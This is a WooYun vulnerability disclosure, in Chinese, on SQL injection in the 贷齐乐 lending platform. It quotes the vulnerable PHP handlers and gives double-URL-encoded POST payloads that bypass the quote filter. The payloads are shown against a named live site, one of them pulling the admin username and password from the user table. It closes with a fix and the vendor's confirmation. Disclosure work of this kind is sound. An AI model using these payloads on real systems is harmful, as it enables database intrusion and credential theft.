当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135702

漏洞标题:贷齐乐系统绕过过滤继续注射(官方案例测试)

相关厂商:chinaanhe.com

漏洞作者: loopx9

提交时间:2015-08-24 14:50

修复时间:2015-11-22 17:28

公开时间:2015-11-22 17:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-08-27: 细节向第三方安全合作伙伴开放
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

对sql注入漏洞修复不当,只是简单地作了参数过滤。

详细说明:

WooYun: 贷齐乐系统多处SQL注入漏洞可影响到敏感数据(续) 提到两个urldecode的注入,影响到新版的系统,后来官方过滤了参数中的单引号。由于是urldecode导致的注入,进行url双编码就能绕过注入过滤。

$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = addslashes(dhtmlspecialchars($_value[1]));
}
}
}


如果是GET方式传入参数会直接从$_SERVER['REQUEST_URI']提取并覆盖,所以注入参数改为POST方式,就不会被覆盖了。
modules\member\index_ruizhict.php:

# 检查邮箱是否被注册
elseif ($_U['query_class'] == 'check_email'){
$email = urldecode($_REQUEST['email']);
$sql = "select * from {user} where email='{$email}'";
$result = $mysql->db_fetch_array($sql);

if ($result == false){
echo true;exit;
}else{
echo false;exit;
}
}

email参数存在注入.
利用方式:
请求url:

/index.php?user&q=action/check_email
post data: email=%2527 or 1=1#


第2个注入:(需要登录)
modules\user\user.inc.php:

//加为好友
elseif ($_U['query_type'] == "addfriend"){
if (isset($_POST['type'])){
$data['type'] = $_POST['type'];
$data['content'] = nl2br($_POST['content']);
$data['friends_userid'] = $_POST['friends_userid'];
$data['user_id'] = $_G['user_id'];
$result = userClass::AddFriends($data);
if ($result==false){
$msg = array($result,"","/index.php?user&q=code/user/myfriend");
}else{
$msg = array("添加好友成功,请等待好友的审核","","/index.php?user&q=code/user/myfriend");
}
}else{
$result = userClass::GetOnes(array("username"=>$_REQUEST['username']));
if ($result==false){
$result = userClass::GetOnes(array("username"=>urldecode($_REQUEST['username'])));
$_REQUEST['username'] = urldecode($_REQUEST['username']);
}
if ($result==false){
echo "<script>alert('找不到此用户,请不要乱操作');location.href='/index.php?user'</script>";
exit;
}elseif ($result['user_id']==$_G['user_id']){
echo "<script>alert('不能加自己为好友');location.href='/index.php?user';</script>";
exit;
}else{

username参数存在注入.
利用方式:
请求url:

/index.php?user&q=code/user/addfriend
post data: username=%2527uni%256Fn%20sel%2565ct%20user%2528%2529,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53#

漏洞证明:

使用官网提供的案例: www.6scf.com

http://www.6scf.com/index.php?user&q=action/check_email
post: email=%2527 or 1=1#


可以盲注:

1.png


第2个注入:
登录后访问:

http://www.6scf.com/index.php?user&q=code/user/addfriend
post data: username=%2527uni%256Fn%20sel%2565ct%20c%256Fncat%2528username,0x3a,password%2529,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20fr%256Fm%20dw_user%20limit%201%23


可以直接查询管理员密码: select concat(username,0x3a,password) from dw_user limit 1
查看源代码:

2.png

修复方案:

排查urldecode函数使用,最好在urldecode之后再addslashes一下.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-24 17:26

厂商回复:

谢谢测试

最新状态:

暂无